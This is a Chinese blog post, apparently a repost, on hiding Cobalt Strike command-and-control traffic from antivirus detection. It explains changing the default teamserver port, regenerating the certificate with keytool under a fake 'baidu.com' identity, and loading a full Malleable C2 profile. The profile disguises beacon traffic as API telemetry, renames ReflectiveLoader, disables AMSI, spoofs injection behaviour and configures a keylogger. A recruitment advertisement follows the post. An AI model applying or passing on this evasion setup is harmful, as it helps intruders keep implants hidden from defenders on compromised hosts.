cs特征隐藏

cs修改流量特征

0x00 前言

这段时间在搞内网渗透方面的知识,小声哔哔:才不是ctf打不动了

既然在学内网渗透方向的东西,那就免不了要和网络配置还有msf、cs等的这种内网渗透神器了。但是在学习之间,因为顺便接触了一下免杀,虽然因为自己水平不行,了解了一下就不搞了,但是还是发现了一些问题的。就比如你用cs生成的payload去搞其他的主机,主机上如果有杀软的话,是会给警告的,因为cs的流量特征等的所有信息已经被各大厂商给记死了。

我就在想,有没有办法去修改一下cs的各项特征,让杀软不那么直接识别出来cs。于是就有了这一篇文章的记录

0x01 正文

step 1 修改cs服务端的默认端口

cs默认的服务端口是50050,这也就使得厂商对于这种端口的流量显得格外关注,基本上就是有去无回了,所以对于这个咱们可以修改他的启动服务端的服务端口。具体操作为

vi teamserver

这种类似图中的就可以。此时去启动服务端

启动服务端口已经修改

step 2 修改证书文件特征

在很久很久之前的厂商在上面的基础上会再次验证一下该服务的证书颁发信息,如果有cs特征的信息就会杀掉,在之前的默认证书里面,cs的特征信息还是很明显的

别名: cobaltstrike创建日期: 2021年12月11日条目类型: PrivateKeyEntry证书链长度: 1证书[1]:所有者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth发布者: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth序列号: 4625e987生效时间: Sat Dec 11 22:40:08 CST 2021, 失效时间: Fri Mar 11 22:40:08 CST 2022证书指纹:SHA1: 81:F1:B0:EB:AD:E7:58:E9:80:4F:A1:8A:FF:A1:2E:42:A4:74:F8:75SHA256: 9A:DB:44:6C:A6:DC:F6:85:CC:D0:F6:00:D5:0F:CA:6F:57:65:36:D9:71:6A:F4:E1:0D:6A:45:A2:27:FF:02:A5签名算法名称: SHA256withRSA主体公共密钥算法: 2048 位 RSA 密钥

可以看到好多地方都存在特征信息,所以在这种情况下咱们就可以修改证书的特征信息,这里给出payload

这里可以直接使用Java自带的keytool工具进行证书的颁发,命令格式为keytool -keystore xxx.store --storepass password -keypass password -genkey -keyalg 加密方式 -alias 别名 -dname "证书颁发机构信息"这里给出我自己的证书颁发的信息keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

之后就可以看到证书特征信息已经被修改

别名: baidu.com创建日期: 2021年12月11日条目类型: PrivateKeyEntry证书链长度: 1证书[1]:所有者: CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN发布者: CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN序列号: 398cdab0生效时间: Sat Dec 11 22:43:20 CST 2021, 失效时间: Fri Mar 11 22:43:20 CST 2022证书指纹:SHA1: 6F:42:E3:5A:2C:0B:48:1A:D5:FB:D4:10:37:A2:79:97:AD:89:1F:81SHA256: DB:83:41:58:73:99:91:5C:FB:F1:A9:75:F4:F7:CC:8F:7F:6C:3F:79:86:32:BF:4E:07:B8:8E:E1:82:90:CC:B7签名算法名称: SHA256withRSA主体公共密钥算法: 2048 位 RSA 密钥

step 3 设置混淆配置文件

这个方法是很早之前我一个全栈爷学长给我提到的,当时处于好奇问了爷一个贼sb的问题,爷不知道怎么回答我就给我提到了一个c2插件

这里给出github的链接

https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normalhttps://github.com/threatexpress/malleable-c2这是已经写好的插件的配置,到时间只需要把里面的参数信息修改一下就可以了cs官网给出的配置文件编写指南https://www.cobaltstrike.com/help-malleable-c2官方也给出了一个可修改的配置文件https://github.com/rsmudge/Malleable-C2-Profiles

这里我当时贼sb,我当时好像脑子抽了,以为可以直接拿来用,就满脸轻松的拿来用,结果就有了下面的结果

以及好多个数不清的尝试,刚开始的我以为是这个插件和我用的cs版本不适配造成的,真天真,人不行就怪路不平,后来去看了一下插件的配置内容才发现,卧槽这™我需要改东西,啊?就很尴尬,还去麻烦了我团队俩web爷问原因,真是菜了,修改了文件里的证书信息以及证书的名字密码之后,还是这些报错,那就直接注释掉,神奇的事情来了,可以了,amazing,真是玄学问题

然后去启动抓包看一下流量

启动命令

./teamserver ip password 配置文件路径

看到流量确实已经改了

然后在这里的话简单说一下配置文件的格式

给一个简单的例子

This profile is meant to show all of the options available in Malleable C2Various optionsAppend random-length string (up to data_jitter value) to http-get and http-post server outputset sample_name "Test Profile";set data_jitter "0";set dns_idle "0.0.0.0";set dns_max_txt "252";set dns_sleep "0";set dns_stager_prepend "";set dns_stager_subhost ".stage.123456.";set dns_ttl "1";set host_stage "true"; Host payload for staging over set, setS, or DNS. Required by stagers.set jitter "0";set maxdns "255";set pipename "msagent_"; Default name of pipe to use for SMB Beacon’s peer-to-peer communication. Each  is replaced witha random hex value.set pipename_stager "status_";set sleeptime "60000"; def sleep in msset smb_frame_header "";set ssh_banner "Cobalt Strike 4.2";set ssh_pipename "postex_ssh_";set tcp_frame_header "";set tcp_port "4444";Defaults for ALL CS set server responseshttp-config {set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";header "Server" "Apache";header "Keep-Alive""timeout=5, max=100";header "Connection""Keep-Alive";The set trust_x_forwarded_foroption decides if Cobalt Strike uses theX-Forwarded-For set header to determine the remote address of a request.Use this option if your Cobalt Strike server is behind an set redirectorset trust_x_forwarded_for "true";}https-certificate {set C "CN"; Countryset CN "zhongguo";  CN - you will probably nver use this, but dont leave at localostset L "BeiJing"; Localityset OU "CC"; Org unitset O "CCSEC"; Org nameset ST "ChaoYang"; Stateset validity "365";if using a valid vert, specify this, keystore = java keystoreset keystore "cobaltstrike.store";set password "123456";}If you have code signing cert:code-signer {set keystore "keystore.jks";set password "password";set alias    "server";set timestamp "false";set timestamp_url "set://timestamp.digicert.com";}Stager is only supported as a GET request and it will use AFAICT the IE on Windows.http-stager {set uri_x86 "/api/v1/GetLicence";set uri_x64 "/api/v2/GetLicence";client {parameter "uuid" "96c5f1e1-067b-492e-a38b-4f6290369121";header "headername" "headervalue";}server {header "Content-Type" "application/octet-stream";header "Content-Encoding" "gzip";output {GZIP headers and footersprepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";AFAICT print is the only supported terminatorprint;}}}This is used only in http-get and http-post and not during stageset useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";define indicators for an set GEThttp-get {we require a stub URI to attach the rest of our data to.set uri "/api/v1/Updates";client {header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";mask our metadata, base64 encode it, store it in the URImetadata {XOR encode the valuemask;URL-safe Base64 Encodebase64url;URL-safe Base64 Encodebase64;NetBIOS Encode ‘a’ ?netbios;NetBIOS Encode ‘A’netbiosu;You probably want these to be last two, else you will encode these valuesAppend a string to metadataappend ";" ;Prepend a stringprepend "SESSION=";Terminator statements - these say where the metadata goesPick oneAppend to URIuri-append;Set in a headerheader "Cookie";Send data as transaction bodyprintStore data in a URI parameterparameter "someparam"}}server {header "Content-Type" "application/octet-stream";header "Content-Encoding" "gzip";prepend some text in case the GET is empty.output {mask;base64;prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";print;}}}define indicators for an set POSThttp-post {set uri "/api/v1/Telemetry/Id/";set verb "POST";client {make it look like were posting something cool.header "Content-Type" "application/json";header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";ugh, our data has to go somewhere!output {mask;base64url;uri-append;}randomize and post our session IDid {mask;base64url;prepend "{version: 1, d=\x22";append "\x22}\n";print;}}The servers response to our set POSTserver {header "Content-Type" "application/octet-stream";header "Content-Encoding" "gzip";post usually sends nothing, so lets prepend a string, mask it, andbase64 encode it. Well get something different back each time.output {mask;base64;prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";print;}}}stage {The transform-x86 and transform-x64 blocks pad and transform Beacon’sReflective DLL stage. These blocks support three commands: prepend, append, and strrep.transform-x86 {prepend "\x90\x90";strrep "ReflectiveLoader" "DoLegitStuff";}transform-x64 {transform the x64 rDLL stage, same options as with}stringw "I am not Beacon";set allocator "MapViewOfFile";   HeapAlloc,MapViewOfFile, and VirtualAlloc.set cleanup "true";         Ask Beacon to attempt to free memory associated withthe Reflective DLL package that initialized it.Override the first bytes (MZ header included) of Beacons Reflective DLL.Valid x86 instructions are required. Follow instructions that changeCPU state with instructions that undo the change.set magic_mz_x86 "MZRE";set magic_mz_x86 "MZAR";set magic_pe "PE";  Override PE marker with something elseAsk the x86 ReflectiveLoader to load the specified library and overwriteits space instead of allocating memory with VirtualAlloc.Only works with VirtualAllocset module_x86 "xpsservices.dll";set module_x64 "xpsservices.dll";Obfuscate the Reflective DLL’s import table, overwrite unused header content,and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.set obfuscate "false";Obfuscate Beacon, in-memory, prior to sleepingset sleep_mask "false";Use embedded function pointer hints to bootstrap Beacon agent withoutwalking kernel32 EATset smartinject "true";Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values afterit loads Beacon payloadset stomppe "true";Ask ReflectiveLoader to use (true) or avoid RWX permissions (false) for Beacon DLL in memoryset userwx "false";PE header cloning - see "petool", skipped for nowset compile_time "14 Jul 2018 8:14:00";set image_size_x86 "512000";set image_size_x64 "512000";set entry_point "92145";The Exported name of the Beacon DLLset name "beacon.x64.dll"set rich_header   I dont understand this yet TODO: fixmeTODO: add examples process-inject}process-inject {set how memory is allocated in a remote processVirtualAllocEx or NtMapViewOfSection. TheNtMapViewOfSection option is for same-architecture injection only.VirtualAllocEx is always used for cross-arch memory allocations.set allocator "VirtualAllocEx";shape the memory characteristics and contentset min_alloc "16384";set startrwx "true";set userwx "false";transform-x86 {prepend "\x90\x90";}transform-x64 {transform x64 injected content}determine how to execute the injected codeexecute {CreateThread "ntdll.dll!RtlUserThreadStart";SetThreadContext;RtlCreateUserThread;}}post-ex {control the temporary process we spawn toset spawnto_x86 "%windir%\\syswow64\\WerFault.exe";set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";change the permissions and content of our post-ex DLLsset obfuscate "true";change our post-ex output named pipe names...set pipename "msrpc_, win\\msrpc_";pass key function pointers from Beacon to its child jobsset smartinject "true";disable AMSI in powerpick, execute-assembly, and psinjectset amsi_disable "true";The thread_hint option allows multi-threaded post-ex DLLs to spawnthreads with a spoofed start address. Specify the thread hint asmodule!function+0x to specify the start address to spoof.The optional 0x part is an offset added to the start address.set thread_hint "....TODO:FIXME"options are: GetAsyncKeyState (def) or SetWindowsHookExset keylogger "GetAsyncKeyState";}

在文件的开头利用set来设置默认值,存在全局和本地两个选项

sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。ua可以通过浏览器抓包进行修改,后面的http-get和http-post一般有着一个通用格式

protocol-transaction {set local_option "value";client {customize client indicators}server {customize server indicators}}

开头的protocol-transaction即为具体使用的http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。

metadata {XOR encode the valuemask;URL-safe Base64 Encodebase64url;URL-safe Base64 Encodebase64;NetBIOS Encode ‘a’ ?netbios;NetBIOS Encode ‘A’netbiosu;You probably want these to be last two, else you will encode these valuesAppend a string to metadataappend ";" ;Prepend a stringprepend "SESSION=";Terminator statements - these say where the metadata goesPick oneAppend to URIuri-append;Set in a headerheader "Cookie";Send data as transaction bodyprintStore data in a URI parameterparameter "someparam"}

这里制定了对metadata进行base64编码,Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata

output {mask;base64;prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";print;}

print语句是将data作为transaction的内容进行发送

大概的修改就是按照这样一个简单的逻辑进行修改的,原理就是在通信时对http的流量包进行更改伪造,通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。

总结

cs作为一个神器,需要学的地方还是很多的,以后还是要多进行学习才行

来源:先知(https://xz.aliyun.com/t/11147)

注:如有侵权请联系删除

船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!

衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
103篇原创内容
公众号

欢迎大家加群一起讨论学习和交流(此群已满200人,需要添加群主邀请)

坎坎坷坷的是路,

永不停歇的是脚步。

上一篇:香港特首林郑月娥:不容忍任何“港独”言行
下一篇:支付宝功能更新,升级几大功能关乎每个用户隐私权利

欢迎扫描关注我们的微信公众平台!

欢迎扫描关注我们的微信公众平台!